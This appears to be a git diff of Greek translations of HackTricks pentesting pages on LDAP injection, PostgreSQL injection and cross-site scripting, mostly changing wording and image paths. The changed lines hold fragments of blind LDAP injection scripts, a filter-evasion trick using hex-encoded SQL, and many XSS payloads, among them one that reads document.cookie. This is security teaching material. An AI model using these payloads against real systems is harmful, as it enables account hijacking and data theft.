Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Ειδική Τυφλή LDAP Εισαγωγή (χωρίς "\*")**
|
||||
#### **Ειδική Τυφλή LDAP Injection (χωρίς "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# PostgreSQL injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η σύλληψη απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες PostgreSQL περιπτώσεις και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η σύλληψη απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να [εκτελέσετε αυτές τις επιθέσεις](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exfiltration example using dblink and large objects**
|
||||
|
||||
|
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### Strings in Hex
|
||||
|
||||
Αν μπορείτε να εκτελέσετε **queries** περνώντας τα **μέσα σε μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη λειτουργία **`query_to_xml`**). **Μπορείτε να χρησιμοποιήσετε το convert\_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:**
|
||||
Αν μπορείτε να εκτελέσετε **queries** περνώντας τα **μέσα σε μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη **`query_to_xml`** συνάρτηση). **Μπορείτε να χρησιμοποιήσετε το convert\_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -97,22 +97,22 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
|
||||
|
||||
|
@ -8,9 +8,9 @@
|
|||
|
||||
## Μεθοδολογία
|
||||
|
||||
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από **κώδικα JS**.
|
||||
2. **Βρείτε το πλαίσιο** όπου αντανακλάται/χρησιμοποιείται.
|
||||
3. Αν **αντανακλάται**
|
||||
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **κώδικα JS**.
|
||||
2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται.
|
||||
3. Αν **αντανάκλαται**
|
||||
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
|
||||
1. Σε **ακατέργαστο HTML**:
|
||||
1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
|
||||
|
@ -39,31 +39,31 @@
|
|||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Αντανακλώμενες τιμές
|
||||
## Αντανάκλαση τιμών
|
||||
|
||||
Για να εκμεταλλευτείτε με επιτυχία μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανακλάται** στη σελίδα web.
|
||||
Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
|
||||
|
||||
* **Ενδιάμεσα αντανακλώμενη**: Αν διαπιστώσετε ότι η τιμή μιας παραμέτρου ή ακόμη και του μονοπατιού αντανακλάται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
|
||||
* **Αποθηκευμένη και αντανακλώμενη**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
|
||||
* **Πρόσβαση μέσω JS**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
|
||||
* **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και του μονοπατιού αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
|
||||
* **Αποθηκευμένη και αντανάκλαση**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
|
||||
* **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
|
||||
|
||||
## Πλαίσια
|
||||
|
||||
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανακλάται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
|
||||
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
|
||||
|
||||
### Ακατέργαστο HTML
|
||||
|
||||
Αν η είσοδός σας **αντανακλάται στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
|
||||
Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Αν η είσοδός σας **αντανάκλαται στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
|
||||
Επίσης, έχετε κατά νου την [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Μέσα σε χαρακτηριστικά ετικετών HTML
|
||||
|
||||
Αν η είσοδός σας αντανακλάται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
|
||||
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
|
||||
|
||||
1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
|
||||
2. Αν **μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** αντανακλάται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
4. Αν η είσοδός σας αντανακλάται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
|
||||
```html
|
||||
|
@ -75,12 +75,12 @@
|
|||
|
||||
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
|
||||
|
||||
* Αν είναι αντανάκλαση μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα κι αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
|
||||
* Αν είναι αντανάκλαση μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμη και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
|
||||
* Αν είναι αντανάκλαση **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Αν είναι αντανάκλαση μέσα σε πρότυπες κυριολεξίες μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* Αν είναι αντανάκλαση μέσα σε πρότυπες κυριολεξίες, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -155,7 +155,7 @@ parentElement
|
|||
|
||||
## Εισαγωγή μέσα σε ακατέργαστο HTML
|
||||
|
||||
Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλά προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
|
||||
Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
|
||||
Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\***** ****`-->`**** ****ή \*\*\*\*****`--!>`**_
|
||||
|
||||
|
@ -165,16 +165,16 @@ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να **δοκιμάσετε ποια ετικέτες** μπορείτε να δημιουργήσετε.\
|
||||
Μόλις **εντοπίσετε ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
|
||||
Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα για τις ετικέτες/attributes, θα χρειαστεί να **δοκιμάσετε ποια tags** μπορείτε να δημιουργήσετε.\
|
||||
Μόλις **εντοπίσετε ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε attributes/events** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο περιεχόμενο.
|
||||
|
||||
### Δοκιμή ετικετών/γεγονότων
|
||||
### Tags/Events brute-force
|
||||
|
||||
Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε όλες αυτές χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε όλα τα γεγονότα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή γεγονότων στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
|
||||
Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε όλες αυτές χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε όλα τα events** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή events στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
|
||||
|
||||
### Προσαρμοσμένες ετικέτες
|
||||
### Custom tags
|
||||
|
||||
Αν δεν βρείτε καμία έγκυρη HTML ετικέτα, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
|
||||
Αν δεν βρείτε καμία έγκυρη HTML ετικέτα, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το attribute `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -233,7 +233,7 @@ onerror=alert`1`
|
|||
### Length bypass (small XSSs)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
|
||||
**Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να τα βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -280,7 +280,7 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
|||
|
||||
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
|
||||
|
||||
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML είναι **αποκωδικοποιημένοι κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
|
||||
```javascript
|
||||
|
@ -311,7 +311,7 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
|||
```
|
||||
### Ειδικά Πρωτόκολλα Μέσα στο attribute
|
||||
|
||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη και ορισμένα όχι.
|
||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη και άλλα όχι.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -385,7 +385,7 @@ Moreover, there is another **nice trick** for these cases: **Ακόμα και
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Αν μπορείτε να εισάγετε οποιαδήποτε διεύθυνση URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα **`target="_blank" και rel="opener"`** χαρακτηριστικά, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
|
||||
